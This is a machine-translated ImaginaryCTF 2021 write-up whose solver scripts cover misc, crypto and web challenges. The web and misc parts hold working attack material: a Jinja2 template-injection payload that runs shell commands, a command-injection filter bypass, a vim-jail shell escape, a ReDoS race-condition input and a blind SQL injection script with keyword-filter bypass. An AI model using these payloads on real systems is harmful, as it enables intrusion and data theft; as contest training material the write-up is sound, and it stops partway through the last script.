ImaginaryCTF 2021 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
This time I participated alone in ImaginaryCTF 2021 and ended up in 10th place. The overall difficulty was not very hard, but there were many novel and interesting challenges.
Challenges marked with
*
were solved after the competition
Misc
Imaginary
Just write a program to perform some operations on complex numbers. You can use Python's built-in complex number functionality, which is very convenient.
from pwn import remote
import ast
from operator import add, sub
io = remote("chal.imaginaryctf.org", 42015)
io.recvuntil(b"so watch out!)\n\n")
for i in range(300):
q = io.recvlineS().strip()
print(i, q)
if "import" in q:
io.sendlineafter(b"> ", "c8763")
io.recvuntil(b"Correct!\n")
continue
toks = q.split(" ")
nums = [ast.literal_eval(x.replace("i", "j")) for x in toks[::2]]
ops = [add] + [add if x == "+" else sub for x in toks[1::2]]
ans = 0
for i in range(len(ops)):
ans = ops[i](ans, nums[i])
sans = str(ans).replace("(", "").replace(")", "").replace("j", "i")
print(ans, sans)
io.sendlineafter(b"> ", sans)
io.recvuntil(b"Correct!\n")
io.interactive()
Spelling Test
The challenge provided a bunch of English words, some of which were misspelled. According to the instructions, connecting the incorrect characters forms the flag. I used autocorrect to correct them.
from autocorrect import Speller
spell = Speller(lang="en")
with open("words.txt") as f:
words = [x.strip() for x in f.readlines()]
def diff(a, b):
for x, y in zip(a, b):
if x != y:
return x
for w in words:
if w != spell(w):
print(diff(w, spell(w)), end="")
from autocorrect import Speller
spell = Speller(lang="en")
with open("words.txt") as f:
words = [x.strip() for x in f.readlines()]
def diff(a, b):
for x, y in zip(a, b):
if x != y:
return x
for w in words:
if w != spell(w):
print(diff(w, spell(w)), end="")
Formatting
The challenge is a remote Python program that reads your input string, formats it with .format(a=something)
, and then returns the response. The flag is stored in the global variable flag
.
The solution is to use Python format strings to access the global variable. There are many articles online with related information.
{a.__init__.__globals__[flag]}
Prisoner's Dilemma
You can SSH into a host, and the screen opens with vim. The content is:
#!/usr/bin/env -S vim -u /dev/null +'set nocompatible' +'set directory=/tmp backupdir=/tmp' +'noremap : <nop>' +'noremap Q <nop>' +'noremap ! <nop>' +'inoremap quit <Esc>:qa!<cr>'
Testing reveals that :
Q
and !
are blocked in normal mode, and typing quit
in insert mode allows you to exit. However, our goal is to get a shell. Searching online for vim jail challenges reveals that you can move the cursor to a word and press Shift+k
, which is equivalent to the man [word]
command, opening a pager (like less
), allowing you to get a shell.
However, doing this in this challenge results in:
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, including manpages, you can run the 'unminimize'
command. You will still need to ensure the 'man-db' package is installed.
This is an issue with Ubuntu minimal, which doesn't have man-db
by default.
My workaround was to find the command line window in vim documentation. It allows viewing the history of :
/
and ?
, and you can enter insert mode to input and execute commands. Enter it using q:
q/
or q?
, then input q:
followed by i
to enter insert mode, type !bash
, and press enter to get a shell.
Another theoretical method is using gf
, which opens the file under the cursor. If the file is unsaved, you can use Ctrl+w
followed by Ctrl+f
to open it in another window. If vim has netrw, you can open a directory and list files, but the remote doesn't have netrw...
Later, I saw someone mention that the above method works without netrw. After entering
/
, useCtrl+x
followed byCtrl+f
for automatic path completion, listing the directory.
Puzzle 2
The challenge has a Unity game with the flag in a locked room.
I used dnSpy to open the Unity game's Assembly-CSharp.dll
and modified the PlayerController
's Move()
function. Originally, it detected keys and added vectors to velocity. I changed it to add vectors to position, allowing wall clipping. After saving and reopening the game, I clipped through walls to the flag room.
Mazed
The challenge is a 4D 10x10x10x10 maze, and you need to reach the end. The solution is to use brute force DFS.
from random import choice
from copy import deepcopy
from pwn import *
class Maze:
def __init__(self, dim, size):
self.dim = dim
self.size = size
self.maze = "#"
self.loc = tuple([0] * dim)
for i in range(dim):
self.maze = [deepcopy(self.maze) for _ in range(size)]
self.gen()
def __str__(self):
if type(self.maze[0]) == str:
return "".join(self.maze) + "\n"
ret = ""
for i in self.maze:
temp = deepcopy(self)
temp.dim -= 1
temp.maze = i
ret += str(temp)
ret += "\n"
return ret
@staticmethod
def fromstr(s):
dim = 0
for i in s[-max(len(s), 50) :][::-1]:
if i == "\n":
dim += 1
else:
break
size = 0
for i in s[: max(len(s), 50) :]:
if i == "\n":
break
size += 1
ret = Maze(2, 2)
ret.maze = Maze.fromstrhelp(s, dim, size)
ret.dim = dim
ret.size = size
ret.loc = tuple([0] * dim)
return ret
@staticmethod
def fromstrhelp(s, dim, size):
s = s.strip()
if dim == 1:
return list(s)
return [
Maze.fromstrhelp(i + "\n" * (dim - 1), dim - 1, size)
for i in s.split("\n" * (dim - 1))
]
def get(self, *pt):
ret = self.maze
for idx in pt:
ret = ret[idx]
return ret
def set(self, *pt, **kwargs):
temp = self.maze
for idx in pt[:-1]:
temp = temp[idx]
temp[pt[-1]] = kwargs["val"]
def check(self, *pt):
for i in pt:
if i >= self.size or i < 0:
return False
return True
def adj(self, *pt):
ret = set()
for i in range(len(pt)):
newpt = [i for i in pt]
newpt[i] += 1
if self.check(*newpt):
ret = ret | {tuple(newpt)}
newpt[i] -= 2
if self.check(*newpt):
ret = ret | {tuple(newpt)}
return ret
def neighbors(self, *pt, typ=None):
ret = set()
for pt in self.adj(*pt):
if typ is None or self.get(*pt) in typ:
ret = ret | {pt}
return ret
def gen(self):
self.set(*self.loc, val=".")
walls = self.adj(*self.loc)
while len(walls) > 0:
rand = choice(list(walls))
nbhd = self.neighbors(*rand, typ=".")
if len(nbhd) == 1:
self.set(*rand, val=".")
walls = walls | self.neighbors(*rand, typ="#")
walls = walls - {rand}
self.set(*([0] * self.dim), val="@")
self.set(*([self.size - 1] * self.dim), val="F")
for i in self.neighbors(*([self.size - 1] * self.dim)):
self.set(*i, val=".")
def move(self, s):
for c in s:
myloc = list(self.loc)
moveidx = ord(c.lower()) - ord("a")
myloc[moveidx] += -1 + 2 * (c < "a")
if self.get(*myloc) == ".":
self.set(*self.loc, val=".")
self.set(*myloc, val="@")
self.loc = tuple(myloc)
elif self.get(*myloc) == "F":
print("Flag:")
print(open("flag.txt").read())
exit(0)
def solve(maze, max_depth=50):
vis = set()
hist = [None] * max_depth
def dfs(pos, depth=0):
if depth >= max_depth:
return
if maze.get(*pos) == "F":
return "".join(hist[:depth])
vis.add(pos)
for i in range(maze.dim):
npos = list(pos)
npos[i] += 1
npos = tuple(npos)
if (
all(0 <= x < maze.size for x in npos)
and maze.get(*npos) != "#"
and npos not in vis
):
hist[depth] = chr(ord("A") + i)
r = dfs(npos, depth + 1)
if r:
return r
npos = list(pos)
npos[i] -= 1
npos = tuple(npos)
if (
all(0 <= x < maze.size for x in npos)
and maze.get(*npos) != "#"
and npos not in vis
):
hist[depth] = chr(ord("a") + i)
r = dfs(npos, depth + 1)
if r:
return r
vis.remove(pos)
return dfs(maze.loc)
# io = process(["python", "maze.py"])
io = remote("chal.imaginaryctf.org", 42017)
io.recvuntil(b"This is your maze:\n")
s = io.recvuntilS(b"====")[:-4]
print("maze received")
maze = Maze(4, 10)
maze.maze = Maze.fromstrhelp(s, 4, 10)
io.sendlineafter(b"Enter your move: ", solve(maze))
print(io.recvallS())
Off To The Races!
The entire challenge code is as follows:
#!/usr/bin/env python3
import re
import time
from random import choice
from multiprocessing import Process, Value
balance = 0
bets = {}
rx = re.compile(r'ju(5)tn((([E3e])(v\4))+\4\5)+rl0\1\4')
def menu():
print("1) Place Bet")
print("2) Login as Admin")
print()
inp = input(">>> ")
if '1' in inp:
bet()
elif '2' in inp:
login()
else:
print("Invalid input!")
def flag():
if admin.value:
print("Admins aren't allowed to view the flag!")
return
if balance >= 100:
print(open("flag.txt").read())
exit(0)
else:
print("Insufficient balance!")
def bet():
global bets
name = input("What horse would you like to bet on? ")
val = input("How much would you like to bet? ")
if val.isdigit():
bets[name] = int(val)
else:
print("Invalid bet!")
def admin_menu():
print("1) Declare winner")
print("2) View balance")
print("3) Buy flag for $100")
print("4) Logout")
print()
inp = input(">>> ")
if '1' in inp:
declareWinner()
elif '2' in inp:
print("Balance:", balance)
elif '3' in inp:
flag()
elif '4' in inp:
login()
else:
print("Invalid input!")
def declareWinner():
global balance, bets
if len(bets) == 0:
print("No bets placed!")
return
winner = choice(list(bets))
print("%s is the big winner!"%winner)
for i in bets:
balance -= bets[i]*(-1+2*(winner==i))
bets = {}
def login():
pwd = input("Enter admin password (empty to logout): ")
if len(pwd) == 0:
print("Logging out...")
admin = 0
return
print("Validating...")
Process(None, checkPass, None, args=(pwd,)).start()
time.sleep(2)
def checkPass(pwd):
valid = rx.match(pwd)
if valid:
print("Login success!")
print("Redirecting...")
admin.value = 1
else:
print("Login failure!")
print("Redirecting...")
admin.value = 0
def main():
while True:
print()
print('='*80)
if admin.value:
admin_menu()
else:
menu()
if __name__ == '__main__':
admin = Value('i', 0)
main()
The goal is to get over 100 dollars and call the flag
function when admin.value
is not truthy, but the flag
function requires being in admin_menu
.
Earning money is simple: place two bets as a normal user, with amounts 1000000000
and 0
, then log in as admin and declare the winner. There's a 50% chance of winning money. The key is how to call the flag
function.
Based on the challenge name, it's likely a race condition. The login
function has time.sleep(2)
, which is suspicious. One idea is to enter admin, then input an incorrect password during logout, causing the checkPass
function to run for over 2 seconds. The login
function will finish first, entering admin_menu
because admin.value
is still truthy. After checkPass
finishes, admin.value
becomes 0
, allowing you to call flag
and get the flag.
The key to delaying checkPass
is the regex, which has a format like (a+)+
. This can be exploited with inputs like aaaaaaaaaaaaaaaaaab
for ReDoS, causing a delay.
Testing shows the following input makes rx.match
take about 3 seconds on remote:
ju5tnEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEarl05E
A normal password for quick login is:
ju5tnEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvErl05E
Crypto
Chicken Caesar Salad
Nothing much to say about Caesar cipher.
Flip Flops
You can send a message to the remote, and if it doesn't contain gimmeflag
, it encrypts the message with AES-CBC and sends it back. If you send a ciphertext that decrypts to include gimmeflag
, you get the flag.
The method is hinted by the challenge name, CBC Bit-flipping Attack.
from pwn import *
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
# io = process(["python", "7B4E-flop.py"])
io = remote("chal.imaginaryctf.org", 42011)
io.sendlineafter(b"> ", "1")
io.sendlineafter(b"Enter your plaintext (in hex): ", (b"a" * 32).hex())
data = bytes.fromhex(io.recvlineS().strip())
iv, ct = data[:16], data[16:]
x = xor(iv, b"a" * 16)
iv = xor(x, b"gimmeflag ")
data = iv + ct
io.sendlineafter(b"> ", "2")
io.sendlineafter(b"Enter ciphertext (in hex): ", data.hex())
io.interactive()
Rock Solid Algorithm
RSA, reasonably assuming the flag isn't padded, so isn't much larger than . Just brute force the fifth root.
import gmpy2
from Crypto.Util.number import *
n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367
e = 5
c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152
for i in range(1000):
m, exact = gmpy2.iroot(c + i * n, 5)
if exact:
print(long_to_bytes(m))
break
Lines
This challenge uses Diffie-Hellman shared secret for multiplicative encryption:
It provides a known plaintext-ciphertext pair and the flag's ciphertext, allowing simple math to solve for the flag.
from Crypto.Util.number import *
p = 82820875767540480278499859101602250644399117699549694231796720388646919033627
g = 2
c1 = 26128737736971786465707543446495988011066430691718096828312365072463804029545
c2 = 15673067813634207159976639166112349879086089811595176161282638541391245739514
msg = bytes_to_long(b":roocursion:")
flag = (c1 * pow(c2, -1, p) * msg) % p
print(long_to_bytes(flag))
New Technology
This challenge provides a public key and an AES-encrypted flag. The key is derived from the public Euler phi value, becoming the private key, which is then used to derive the AES key.
Although it doesn't seem odd at first glance, using algebra software like Sage reveals the private key is the square of the public key, likely a number theory result.
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
pub = 0x281AB467E16CDEDB97A298249BDD334F0CC7D54177ED0946C04EC26DA111C1FD7AFA78FCA045F81D89FE541F1D869B8EDD4209C898A529737B9380CE9B47133ED9E097BCF050178C4A1FF92F35410EE589CC62617B63632F6C7AA506BDC50A79624246A63E4139A04A51F666CC53E21B7D4B12DA7757FEB367D47110AF9BC707D92C9BE2F2E4A51EA219CD9AACC76950F992CED96BAB65BA654DED42AF5FC4FEC5330EBC29F377E733F1829B72F91E270C43E407D649D5CC1D38BE9A0020CFE5CC537C131887B5A07A214EAE2F0D9E684897590A637BD800FED6A61F6C034FE3A69D516D10A1E63AEE3F71E067497D0D7AC1EC771CFAE3CE89D82D69CD280622730E58B0427D193A5404F21F962E711D31C9A224E187031CF0E4BCDB341B65E999157FB55C7AAE0CFFED74B832A79259C18BF7B2DB57E500D36376767973EE350AF4FC004A7F4DCD325724A6994CA63687D3CFB688DEB20E4175A67969ED7D245C207257EAB7A71CC298532E72E73E446102E59A1A36DE09C386445DF171797E0D2DB39F4FC1FBA793D78EA92C6801B79EAEF2EBAAD54BD2A8106471ADC60BE708B9B0F4E824C25C414755FF56DACE29C067E29C11A8ADCC5F367E1C7D10310116EAB8D99DDB2AE524F56BF9436F59E581C6E22B4A80D2520893C57AAAFA0E6349347991F26B25B594BD47C5C0A69ED32C3FD0961F54586F3D91BF14D96D93D3F97C7A504BA8E3FE9E08316FE9F3D78500337A180120B5B375980EF19F57FF678A07B582EA3A113E2A0B14683FF3983153A2203CFFD39FC7673281F72DB700D
ct = bytes.fromhex(
"d2463ccc52075674effbad1b1ea5ae9a9c8106f141cff8fdec9b118ddddcfb3a1f036ed5f3bf0440c95828ebf1c584e4"
)
key = pub ** 2
cipher = AES.new(
hashlib.sha256(str(key).encode("utf-8")).digest(), AES.MODE_CBC, iv=b"\0" * 16
)
print(unpad(cipher.decrypt(ct), 16))
Primetime
This challenge uses a custom(?) method to create an additive cyclic group, then performs Diffie-Hellman scalar multiplication to encrypt the flag.
Elements can be represented as: , where and is the -th prime.
Any byte sequence shorter than 16 can be encoded into this group.
Addition is defined as multiplying two elements: , then reducing using a special method.
Reduction occurs when , taking and multiplying by (only if ).
This complex element can be simply expressed as , and since are primes, an isomorphism can map to . Addition is easily converted to a base 256 carry problem.
Scalar multiplication is achieved by repeated addition, and element multiplication converts one element to a scalar, then performs scalar multiplication.
The challenge provides a generator , and two public keys and , with shared secret . Encryption encodes the flag as , then is the encrypted flag.
The solution involves brute-forcing the discrete log, then guessing the order is . Convert to a scalar, then use an RSA-like method to solve for .
from itertools import islice
from math import gcd
ELEMENT_LEN = 16
def primes():
num = 2
while True:
prime = 1
for i in range(2, num):
if num % i == 0:
prime = 0
if prime:
yield num
num += 1
class Element:
def __init__(self, n):
self.n = Element.reduce(n)
def __str__(self):
return str(self.n)
def __add__(self, other):
return Element(self.n * other.n)
def __eq__(self, other):
return self.n == other.n
def __mul__(self, n):
if type(n) == int:
ret = Element(1)
for c in "{:0128b}".format(n):
ret += ret
if c == "1":
ret += self
return ret
if type(n) == Element:
ret = Element(1)
primelist = list(islice(primes(), ELEMENT_LEN))
for i, num in enumerate(primelist[::-1]):
cnt = 0
temp = n.n
while gcd(temp, num) > 1:
cnt += 1
temp //= num
for c in "{:08b}".format(cnt):
ret += ret
if c == "1":
ret += self
return ret
def factor(self):
primelist = list(islice(primes(), ELEMENT_LEN))
n = self.n
ret = []
for p in primelist:
e = 0
while n % p == 0:
e += 1
n //= p
ret.append(e)
return ret
@staticmethod
def encode(b):
assert len(b) <= ELEMENT_LEN
ret = 1
for i, num in enumerate(primes()):
if i >= len(b):
return Element(ret)
ret *= num ** b[i]
@staticmethod
def reduce(n):
if n == 0:
return 0
primelist = list(islice(primes(), ELEMENT_LEN))
for i, num in enumerate(primelist):
while n % (num ** 256) == 0:
n //= num ** 256
if num != primelist[-1]:
n *= primelist[i + 1]
return n
def div(b, x):
a = [(b[0] * pow(x, -1, 256)) % 256]
print("a", a)
rem = (a[-1] * x) // 256
for t in range(256):
if (t * x) % 256 == (b[1] - rem) % 256:
print(t)
def fastmul(a, x):
a = list(a)
for i in range(len(a)):
a[i] = a[i] * x
for i in range(len(a) - 1):
t = a[i] // 256
a[i] %= 256
a[i + 1] += t
a[-1] %= 256
return a
def common_prefix_len(a, b):
i = 0
for x, y in zip(a, b):
if x != y:
return i
i += 1
return i
def div(b, a):
x = (pow(a[0], -1, 256) * b[0]) % 256
for j in range(128):
mx = 0
mxi = 0
for i in range(256):
xx = x + 256 ** j * i
l = common_prefix_len(fastmul(a, xx), b)
if l > mx:
mx = l
mxi = i
x = x + 256 ** j * mxi
return x
gen = Element.encode(b"+h3_g3n3ra+0r_pt")
a = gen.factor()
b = (gen * (123456789123121416456101)).factor()
print(div(b, a))
apub = Element(
500357207949360011860695121815899154205449526010094454587979283923848585928632790645830299149453976090217245034593189992901761945331391001831072705847529750866803738700279912225965066678805507724715185506382939990799142229405455422041035178874211011751119398295299857806816386990092657837100900358347160719366783975929360339558498954820961285465620670002225659239889936599555456580359830295682062738334991554515900855548402512120620826749650756396521580270922365597641747429056073405053306940242427219752253635745528457603722008636075237147298943858617107939076277273399231985298341212601734800636370999484513623887390101127340743342876064866252125623244784047384124434094248088541685991462467253654297437402579588310999589250019828289348424957170149192160244201016103564578588147214864367737210883054758124265449650412379712901047384113980036061641986088569966224174765198474542155526830408621034708868718697636100198425645098483952048597971766147148562801195620760539216440235693381518250562984372199863885643755757214089633375219003612064713273736559152427459535130250092023420143477707286077709232094800239072803517436957478931071194581758588450886409637439466396963345804860757070798727515483494675801215036424531830745500453844192878776568008293800605196374630455749994012121524858660398046104081319756695361411583808985083359313858106135372136738671726749040433685890796455263432281216811093299277064687480718190942550814850814407562334926077877676598543907922236613521119009586779154611789987179126766615943929772599695669520979353761815721157999238946735681596011441649989258585110321624675217941201187909029596813349743091266836232134969764625366003476480256701372331765458959029575707117530532230865877414940866110631649448043296830423058310406934224218377145264611861381237149895001131889611829956995478830008145471859396864805534974592201372189664997613965274100537255280841341170249447407571114570047875217384488392158566315390952841556785484370880052264041078786170255986678011312984641313598302687184300188325196569072886923470341432247404566641268078569475653330045976812733466593716111751384324533020583788953027557237835067004513165882907985939149646381279609629318864389650921121923020213226228513603636456117420175850185142392993312209091757679786168841969441373117841632183687309590978239277773475240704285654614023321424952810616910104960766147996764630079269409179687500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)
bpub = Element(
16886140056354929427596567134326274485089560876286587124880756776977234171194975112435706147950799696726908760658379821703149986444584878143140068702252015934960869287878322047490841738237874007046175824327084819514960404309424024113231139223861581544723516192652636805273357007644252260334729236474638160005764882935578262087486745293103885797061462688773083837075673189527385494402886609308403934147632724023257349680752961803065635925869948563007304878787110064389481872192366584512937841048468261211375429258958036548757053991996868300235304332273530321070329379020853444464240627041844300407866738869823452918322784480833423513934929560513907874987813120398493556639406496655016703649326363315033712731233353178163811161488388839390738262151375611580388444190759888831710750624276059144292899974826212289291969860139700532775617760660718794818872911412098833789379882399598261500955720072887205985369118340511562424744684639569259883139517187974824181161950853887501387501187533776882087154686028474068751277305741248685427657830194130748307070414382936407812885971658094632673983740655241311628134690600772581373912071007373125831843767625012450700810049087602396672865730638377689910261970907167046870064759518544522056232795427162931983841754885841450494951705090997053611611069917900060383989748392235104217239203473575532102615155006722382194628347358754931623088568632887718111126185067797075616155294431574382263248465435551886356909040531366803040834139857334636132106628196713569727099358483467637513761623400457735977788527032015578721718162822785170003462615480682584982243958489401431342170655879609002009895863301679816403246730998946157219824974543751650675652958447410488528133202362655228903399639156272433490870994720909626670226251331877964832588817607911429113039240473499490028276618695486368021575737295277971954819472892265787971700525462969787279175719807716828606735008026486188322740499290581075721121149217204096567012568889510467546153859876198602143814772355379175058561482130360819063434290077131027968377991635072477044088229862441648707747330048000000000000000000
)
ct = Element(
4010240541516399645321195034562461743458717219622622476493704732090859438167824966510148664351969649209110773241667692984697276501182707040128953765431706761834670787505514727554018556734879304098746873934089421121324218982247512814291351924877223043671728378891265540580997799487407053766647917779316763623094334611762868712057093611941314165202770691822529980585632976853670674565411273511833281110362770513187167914301635551991652653407362535224460872087333793483316891646632494686376076558532105013390219039843977909552469638359056046774015515596827199558260021294063686136404100077341838007398597465059993890928975576168315884904951930525706619213592769136606240625593489533975645387142828210729867767278782119009331299561834682615683259310762241323090900813481384333313188349411738492701047351562906839027181345022408682546416298832221649815297100598520446510702177236903581781476059676126464154669551252010296436679203727260122943272621547188029138551212046664928456708684569207855966732611875672446792947108786585829210484574660392141694053085701648964856278540345796111300830486730030373529236112854444770251061943299296906500878069990248133167421042557041575470018986481268826219893272218420187883811123048819805445449064826589938738021139023893746912952527027222810299329863641696021085054087718325983196914452039601872746439052469287204179047225378529312836547478630121319644513116659936348718675908460300862292582892882083915587965880575007908913533392291894019388201088744671218326443475109837687802579916256424185706643145007052009351056263884426086245516495968072790560107840332325292785270761251889294074244311879282572271185728302777909531413313220715212939865522739184866268196705707066260280696302535249923384583209822803191861890646931401654221911423162123708562219923887711419797120582685051956135283939881134091672191052692914756132753539012305415879968591647612459785998064874621862898383730813805202557191218101598089805789828614247107472592605080809008373281661279063601135101044553043016070821365079615866754551254372262660601301298818637825194579280847712938995049673216656916509188770025210827227323668492245704588870179128479645964519746861500154978473782934668650516904535768949282799428827614911842356617493958178344117941689901663879465330029616060074179381566862194995633197690056062963968575373204151012941127649306394093994121093750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)
akey = div(apub.factor(), gen.factor())
assert gen * akey == apub
print(akey)
s = bpub * akey
od = 256 ** 16
xxx = ""
primelist = list(islice(primes(), ELEMENT_LEN))
for i, num in enumerate(primelist[::-1]):
cnt = 0
temp = s.n
while gcd(temp, num) > 1:
cnt += 1
temp //= num
xxx += "{:08b}".format(cnt)
print(bytes((ct * pow(int(xxx, 2), -1, od)).factor()))
A simpler method maps directly to
Roll it back
This challenge uses strange bit operations to repeatedly perform bit operations on the flag:
# T is a known constant
# l = flag.bit_length()
for _ in range(421337):
flag = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))
Initially, I couldn't understand the operations, so I used z3 to solve it, which took some time:
from itertools import *
from functools import reduce
from gmpy2 import *
from z3 import *
from tqdm import tqdm
from Crypto.Util.number import *
def x(a, b):
return bytes(
islice((x ^ y for x, y in zip(cycle(a), cycle(b))), max(*map(len, [a, b])))
)
def t(x):
return sum((((x & 28) >> 4) & 1) << i for i, x in enumerate(x))
T = t(x(b"jctf{not_the_flag}", b"*-*")) | 1
l = 420
def popcount(b):
n = b.size()
bits = [Extract(i, i, b) for i in range(n)]
bvs = [Concat(BitVecVal(0, n - 1), b) for b in bits]
nb = reduce(lambda a, b: a + b, bvs)
return nb
def rev(x, n):
flag = BitVec("flag", l)
iflag = flag
sol = Solver()
for _ in range(n):
flag = LShR(flag, 1) | ((popcount(flag & T) & 1) << (l - 1))
sol.add(flag == x)
assert sol.check() == sat
m = sol.model()
return m[iflag].as_long()
flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643
for i in tqdm(range(421337 // 10)):
flag = rev(flag, 10)
for _ in range(7):
flag = rev(flag, 1)
print(flag)
print(long_to_bytes(flag)[::-1])
Later, seeing the flag mentioning LFSR, I realized the operations were advancing the LFSR state by XORing specific bits.
Using Sage to solve:
from gmpy2 import *
from Crypto.Util.number import *
T = 136085
print(bin(T))
flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643
l = 420
fnext = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))
P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([int(c) * x ^ i for i, c in enumerate(bin(T)[2:][::-1])]) + x ^ l
print(poly)
M = companion_matrix(poly, "bottom")
v = vector(map(int, f"{flag:0420b}"[::-1]))
assert M * v == vector(map(int, f"{fnext:0420b}"[::-1]))
flag = M ^ (-421337) * v
print(long_to_bytes(int("".join(map(str, flag[::-1])), 2))[::-1])
*ZKPoD
This challenge encrypts the flag with RSA, and an oracle allows you to decrypt messages and sign them with Schnorr signature. The nonce is completely random, so no attack from that part.
During the competition, I considered using Lattice to solve since is only about 1024 bits, but it failed.
The author's solution uses , allowing you to determine 's parity from . When is even, you can determine 's LSB since .
Knowing the LSB provides an RSA oracle, allowing LSB Oracle Attack to binary search the flag.
from pwn import remote
from Crypto.Util.number import *
from sage.all import *
N = 0xBB00128C1C1555DC8FC1CD09B3BB2C3EFEAAE016FCB336491BD022F83A10A501175C044843DBEC0290C5F75D9A93710246361E4822331348E9BF40FC6810D5FC7315F37EB8F06FB3F0C0E9F63C2C207C29F367DC45EEF2E5962EFF35634B7A29D913A59CD0918FA395571D3901F8ABD83322BD17B60FD0180358B7E36271ADCFC1F9105B41DA6950A17DBA536A2B600F2DC35E88C4A9DD208AD85340DE4D3C6025D1BD6E03E9449F83AFA28B9FF814BD5662018BE9170B2205F38CF3B67BA5909C81267DAA711FCDB8C7844BBC943506E33F5F72F603119526072EFBC5CEAE785F2AF634E6C7D2DD0D51D6CFD34A3BC2B15A752918D4090D2CA253DF4EF47B8B
e = 0x10001
P = 0x199E1926F2D2D5967B1D230B33DE0A249F958E5B962F8B82CA042970180FE1505607FE4C8CDE04BC6D53AEC53B4AA25255AE67051D6ED9B602B1B19E128835B20227DB7EE19CF88660A50459108750F8B96C71847E4F38A79772A089AA46666404FD671CA17EA36EE9F401B4083F9CA76F5217588C6A15BABA7EB4A0934E2026937812C96E2A5853C0E5A65231F3EB9FDC283E4177A97143FE1A3764DC87FD6D681F51F49F6EED5AB7DDC2A1DA7206F77B8C7922C5F4A5CFA916B743CEEDA943BC73D821D2F12354828817FF73BCD5800ED201C5AC66FA82DF931C5BBC76E03E48720742FFE673B7786E40F243D7A0816C71EB641E5D58531242F7F5CFEF60E5B
g = 2
io = remote("chal.imaginaryctf.org", 42012)
# io = process('python')
io.recvuntil(b"Here's my encrypted flag: ")
encflag = int(io.recvlineS().strip(), 16)
def sign_dec(ct):
global io
try:
io.sendlineafter(b"> ", hex(ct))
io.recvuntil(b"r: ")
r = int(io.recvlineS().strip())
io.recvuntil(b"s: ")
s = int(io.recvlineS().strip())
return r, s
except:
io.close()
io = remote("chal.imaginaryctf.org", 42012)
return sign_dec(ct)
from gmpy2 import powmod
import hashlib
from Crypto.Util.number import bytes_to_long
def H(x):
return bytes_to_long(
hashlib.sha512(b"domain" + x).digest()
+ hashlib.sha512(b"separation" + x).digest()
)
def HH(r):
return H(str(r).encode() + b"Haha, arbitrary message")
def oracle(x):
# s = k - x * H(r || d)
r, s = sign_dec(x)
ep = HH(r) % 2
if ep % 2 == 0:
return
# s = k - x (mod 2)
# x = k - s (mod 2)
# kronecker(g, P) = -1
kp = 1 if kronecker(r, P) == -1 else 0
sp = s % 2
return (kp - sp) % 2
def crack(c, n, e, oracle, lim=1000):
c0 = c
c2 = pow(2, e, n)
l, r = 0, n
while r - l > lim:
# Due to rounding problem, it can't really get an accurate answer...
mid = (l + r) // 2
ret = oracle((c2 * c) % n)
if ret is None:
continue
if ret == 0:
r = mid
else:
l = mid
c = (c2 * c) % n
print(r - l)
for x in range(l, r + 1):
if powmod(x, e, n) == c0:
return x
print(long_to_bytes(crack(encflag, N, e, oracle, 10000)))
# ictf{gr0up5_should_b3_pr1me_0rd3r_dummy}
Here's the author's solution, summarizing other methods: ZKPoD
Web
Roos World
The source code contains jsfuck. Executing it reveals the flag. Opening the console also works.
Build-A-Website
This challenge is a blacklist-based Jinja2 SSTI, teaching me that attributes in templates can be accessed using dict syntax.
Payload:
<pre>
{{request["__cl"+"a"+"ss__"].mro()[-1]['__subcla'+'sses__']()[84].load_module('subprocess').check_output(['cat','flag.txt'])}}
</pre>
SaaS
The challenge has os.popen
command injection with a blacklist, roughly as follows:
blacklist = ["flag", "cat", "|", "&", ";", "`", "$"]
# ...
os.popen(f"sed {request.args['query']} stuff.txt").read()
Bypass using \n
, head
, and f*
to bypass the filter: ?query=%0ahead%20f*
.
Awkward_Bypass
This challenge is a SQL injection with a large SQL keyword blacklist. The blacklist replaces keywords with empty strings instead of blocking them, allowing bypass with UNUNIONION
becoming UNION
. The rest is blind SQL injection.
import httpx
client = httpx.Client(http2=True)
def login(username, password):
resp = client.post(
"https://awkward-bypass.chal.imaginaryctf.org/user",
params={"username": username, "password": password},
allow_redirects=False,
)
return "Error" not in resp.text
def bypass(s):
return "WITH".join(s)
def sqli(s):
return login("a", bypass(s))
def binary_search(f, l=0, r=100):
while True:
print(l, r)
if l == r:
return l
m = (l + r) // 2
if f(m):
r = m
else:
l = m + 1
def get_string_len(s, mx=100):
return binary_search(
lambda m: sqli(f"' union select 1,2 where length(({s}))<={m} and ''='"), r=mx
)
def get_string(s):
l = get_string_len(s)
ret = ""
for i in range(1, l + 1):
c = binary_search(
lambda m: sqli(
f"' union select 1,2 where unicode(substr(({s}),{i},{i}))<={m} and ''='"
),
l=32,
r=128,
)
ret += chr(c)
print(ret)
return ret
# print(
# get_string(
# "SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'"
# )
# )
# -> users
# print(
# get_string(
# "SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'"
# )
